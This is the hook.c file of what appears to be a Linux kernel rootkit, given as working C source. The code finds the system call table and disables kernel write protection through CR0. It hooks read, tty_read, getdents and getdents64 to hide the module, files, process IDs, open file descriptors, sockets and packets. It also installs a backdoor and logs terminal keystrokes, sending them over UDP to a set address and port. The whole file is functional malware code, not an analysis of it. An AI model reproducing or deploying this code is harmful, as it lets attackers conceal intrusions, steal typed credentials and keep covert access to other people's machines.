hook.c (9340B)
1 #include <linux/kallsyms.h> 2 #include <linux/slab.h> 3 #include <linux/fs.h> 4 #include <linux/xattr.h> 5 #include <linux/fdtable.h> 6 #include <linux/list.h> 7 #include <linux/proc_ns.h> 8 #include <linux/namei.h> 9 #include <linux/file.h> 10 #include <linux/sched.h> 11 #include <linux/fs_struct.h> 12 #include <linux/dcache.h> 13 14 #include "common.h" 15 #include "hook.h" 16 #include "rootkit.h" 17 #include "modhide.h" 18 #include "filehide.h" 19 #include "filehide_lstar.h" 20 #include "backdoor.h" 21 #include "pidhide.h" 22 #include "openhide.h" 23 #include "read.h" 24 #include "inputlog.h" 25 #include "sockhide.h" 26 #include "packhide.h" 27 #include "porthide.h" 28 29 extern rootkit_t rootkit; 30 31 void **sys_calls; 32 33 atomic_t read_install_count; 34 atomic_t getdents_install_count; 35 atomic_t tty_read_install_count; 36 atomic_t packet_rcv_install_count; 37 atomic_t syscall64_install_count; 38 39 atomic_t read_count; 40 atomic_t getdents_count; 41 atomic_t getdents64_count; 42 atomic_t tty_read_count; 43 44 asmlinkage ssize_t (*sys_read)(const struct pt_regs *); 45 asmlinkage long (*sys_getdents)(const struct pt_regs *); 46 asmlinkage long (*sys_getdents64)(const struct pt_regs *); 47 ssize_t (*sys_tty_read)(struct file *, char *, size_t, loff_t *); 48 49 struct linux_dirent { 50 unsigned long d_ino; 51 unsigned long d_off; 52 unsigned short d_reclen; 53 char d_name[1]; 54 }; 55 56 int 57 retrieve_sys_call_table(void) 58 { 59 return NULL == (sys_calls 60 = (void **)kallsyms_lookup_name("sys_call_table")); 61 } 62 63 void 64 init_hooks(void) 65 { 66 atomic_set(&read_install_count, 0); 67 atomic_set(&tty_read_install_count, 0); 68 atomic_set(&getdents_install_count, 0); 69 atomic_set(&packet_rcv_install_count, 0); 70 atomic_set(&syscall64_install_count, 0); 71 72 atomic_set(&read_count, 0); 73 atomic_set(&tty_read_count, 0); 74 atomic_set(&getdents_count, 0); 75 atomic_set(&getdents64_count, 0); 76 77 sys_read = (void *)sys_calls[__NR_read]; 78 sys_getdents = (void *)sys_calls[__NR_getdents]; 79 sys_getdents64 = (void *)sys_calls[__NR_getdents64]; 80 sys_tty_read = NULL; 81 82 if (rootkit.hiding_module) 83 hide_module(); 84 85 switch (rootkit.hiding_files) { 86 case FH_TABLE: hide_files(); break; 87 case FH_LSTAR: hide_files_lstar(); break; 88 default: break; 89 } 90 91 if (rootkit.hiding_open) 92 hide_open(); 93 94 if (rootkit.hiding_pids) 95 hide_pids(); 96 97 if (rootkit.hiding_sockets) 98 hide_sockets(); 99 100 if (rootkit.hiding_packets) 101 hide_packets(); 102 103 switch (rootkit.backdoor) { 104 case BD_READ: backdoor_read(); break; 105 case BD_TTY: backdoor_tty(); break; 106 default: break; 107 } 108 109 if (rootkit.logging_input) 110 log_input("127.0.0.1", "5000"); 111 } 112 113 void 114 remove_hooks(void) 115 { 116 if (rootkit.hiding_module) 117 unhide_module(); 118 119 switch (rootkit.hiding_files) { 120 case FH_TABLE: unhide_files(); break; 121 case FH_LSTAR: unhide_files_lstar(); break; 122 default: break; 123 } 124 125 if (rootkit.hiding_open) 126 unhide_open(); 127 128 if (rootkit.hiding_pids) { 129 clear_hidden_pids(); 130 unhide_pids(); 131 } 132 133 if (rootkit.hiding_sockets) 134 unhide_sockets(); 135 136 if (rootkit.hiding_packets) 137 unhide_packets(); 138 139 if (rootkit.backdoor != BD_OFF) 140 unbackdoor(); 141 142 if (rootkit.logging_input) 143 unlog_input(); 144 } 145 146 void 147 disable_protection(void) 148 { 149 write_cr0(read_cr0() & (~0x10000)); 150 } 151 152 void 153 enable_protection(void) 154 { 155 write_cr0(read_cr0() | 0x10000); 156 } 157 158 159 asmlinkage ssize_t 160 g7_read(const struct pt_regs *pt_regs) 161 { 162 atomic_inc(&read_count); 163 long ret = sys_read(pt_regs); 164 165 // Just like the SystemV-CC (ignoring fd) 166 char *buf = (char *)pt_regs->si; 167 size_t count = pt_regs->dx; 168 169 if (rootkit.backdoor == BD_READ) 170 handle_pid(current->pid, buf, count); 171 172 atomic_dec(&read_count); 173 return ret; 174 } 175 176 ssize_t 177 g7_tty_read(struct file *file, char *buf, size_t count, loff_t *off) 178 { 179 atomic_inc(&tty_read_count); 180 ssize_t ret = sys_tty_read(file, buf, count, off); 181 182 // pull buffer into kernel space 183 char *kbuf = (char *)kmalloc(count, GFP_KERNEL); 184 copy_from_user(kbuf, buf, count); 185 186 if (rootkit.backdoor == BD_TTY) 187 handle_pid(current->pid, buf, count); 188 189 if (rootkit.logging_input) 190 send_udp(current->pid, file, kbuf, count); 191 192 kfree(kbuf); 193 atomic_dec(&tty_read_count); 194 return ret; 195 } 196 197 // https://elixir.bootlin.com/linux/v4.19/source/arch/x86/entry/syscall_64.c 198 // https://elixir.bootlin.com/linux/v4.19/source/arch/x86/include/asm/ptrace.h#L12 199 asmlinkage long 200 g7_getdents(const struct pt_regs *pt_regs) 201 { 202 typedef struct linux_dirent *dirent_t_ptr; 203 204 bool may_proc; 205 unsigned long offset; 206 dirent_t_ptr kdirent, cur_kdirent, prev_kdirent; 207 struct dentry *kdirent_dentry; 208 209 cur_kdirent = prev_kdirent = NULL; 210 int fd = (int)pt_regs->di; 211 dirent_t_ptr dirent = (dirent_t_ptr)pt_regs->si; 212 long ret = sys_getdents(pt_regs); 213 214 bool is_fd = 0; // We only need /proc/[pid]/fd dirs 215 struct file *dirfile = fget(fd); 216 pid_t fd_pid; 217 218 if (ret <= 0 || !(kdirent = (dirent_t_ptr)kzalloc(ret, GFP_KERNEL))) 219 return ret; 220 221 if (copy_from_user(kdirent, dirent, ret)) 222 goto yield; 223 224 atomic_inc(&getdents_count); 225 226 kdirent_dentry = current->files->fdt->fd[fd]->f_path.dentry; 227 may_proc = rootkit.hiding_pids && kdirent_dentry->d_inode->i_ino == PROC_ROOT_INO; 228 229 inode_list_t hidden_inodes = { 0, NULL }; 230 inode_list_t_ptr hi_head, hi_tail; 231 hi_head = hi_tail = &hidden_inodes; 232 233 if (rootkit.hiding_files == FH_TABLE) { 234 struct list_head *i; 235 list_for_each(i, &kdirent_dentry->d_subdirs) { 236 unsigned long inode; 237 struct dentry *child = list_entry(i, struct dentry, d_child); 238 239 if ((inode = must_hide_inode(child))) 240 hi_tail = add_inode_to_list(hi_tail, inode); 241 } 242 } 243 244 if(rootkit.hiding_open && (fd_pid = may_fd(dirfile))) { 245 is_fd = 1; 246 fill_fds(fd_pid); 247 } 248 249 for (offset = 0; offset < ret;) { 250 cur_kdirent = (dirent_t_ptr)((char *)kdirent + offset); 251 252 if ((may_proc && list_contains_pid(&hidden_pids, PID_FROM_NAME(cur_kdirent->d_name))) 253 || list_contains_inode(hi_head, cur_kdirent->d_ino) 254 || list_contains_fd(&hidden_fds, FD_FROM_NAME(cur_kdirent->d_name))) 255 { 256 if (cur_kdirent == kdirent) { 257 ret -= cur_kdirent->d_reclen; 258 memmove(cur_kdirent, (char *)cur_kdirent + cur_kdirent->d_reclen, ret); 259 continue; 260 } 261 262 prev_kdirent->d_reclen += cur_kdirent->d_reclen; 263 } else 264 prev_kdirent = cur_kdirent; 265 266 offset += cur_kdirent->d_reclen; 267 } 268 269 copy_to_user(dirent, kdirent, ret); 270 atomic_dec(&getdents_count); 271 272 yield: 273 clear_hidden_fds(); 274 kfree(kdirent); 275 return ret; 276 } 277 278 // https://elixir.bootlin.com/linux/v4.19/source/arch/x86/entry/syscall_64.c 279 // https://elixir.bootlin.com/linux/v4.19/source/arch/x86/include/asm/ptrace.h#L12 280 asmlinkage long 281 g7_getdents64(const struct pt_regs *pt_regs) 282 { 283 typedef struct linux_dirent64 *dirent64_t_ptr; 284 285 bool may_proc; 286 unsigned long offset; 287 dirent64_t_ptr kdirent, cur_kdirent, prev_kdirent; 288 struct dentry *kdirent_dentry; 289 290 cur_kdirent = prev_kdirent = NULL; 291 int fd = (int)pt_regs->di; 292 dirent64_t_ptr dirent = (dirent64_t_ptr)pt_regs->si; 293 long ret = sys_getdents64(pt_regs); 294 295 bool is_fd = 0; // We only need /proc/[pid]/fd dirs 296 struct file *dirfile = fget(fd); 297 pid_t fd_pid; 298 299 if (ret <= 0 || !(kdirent = (dirent64_t_ptr)kzalloc(ret, GFP_KERNEL))) 300 return ret; 301 302 if (copy_from_user(kdirent, dirent, ret)) 303 goto yield; 304 305 atomic_inc(&getdents64_count); 306 307 kdirent_dentry = current->files->fdt->fd[fd]->f_path.dentry; 308 may_proc = rootkit.hiding_pids && kdirent_dentry->d_inode->i_ino == PROC_ROOT_INO; 309 310 inode_list_t hidden_inodes = { 0, NULL }; 311 inode_list_t_ptr hi_head, hi_tail; 312 hi_head = hi_tail = &hidden_inodes; 313 314 if (rootkit.hiding_files == FH_TABLE) { 315 struct list_head *i; 316 list_for_each(i, &kdirent_dentry->d_subdirs) { 317 unsigned long inode; 318 struct dentry *child = list_entry(i, struct dentry, d_child); 319 320 if ((inode = must_hide_inode(child))) 321 hi_tail = add_inode_to_list(hi_tail, inode); 322 } 323 } 324 325 if(rootkit.hiding_open && (fd_pid = may_fd(dirfile))) { 326 is_fd = 1; 327 fill_fds(fd_pid); 328 } 329 330 for (offset = 0; offset < ret;) { 331 cur_kdirent = (dirent64_t_ptr)((char *)kdirent + offset); 332 333 if ((may_proc && list_contains_pid(&hidden_pids, PID_FROM_NAME(cur_kdirent->d_name))) 334 || list_contains_inode(hi_head, cur_kdirent->d_ino) 335 || list_contains_fd(&hidden_fds, FD_FROM_NAME(cur_kdirent->d_name))) 336 { 337 if (cur_kdirent == kdirent) { 338 ret -= cur_kdirent->d_reclen; 339 memmove(cur_kdirent, (char *)cur_kdirent + cur_kdirent->d_reclen, ret); 340 continue; 341 } 342 343 prev_kdirent->d_reclen += cur_kdirent->d_reclen; 344 } else 345 prev_kdirent = cur_kdirent; 346 347 offset += cur_kdirent->d_reclen; 348 } 349 350 copy_to_user(dirent, kdirent, ret); 351 atomic_dec(&getdents64_count); 352 353 yield: 354 clear_hidden_fds(); 355 kfree(kdirent); 356 return ret; 357 }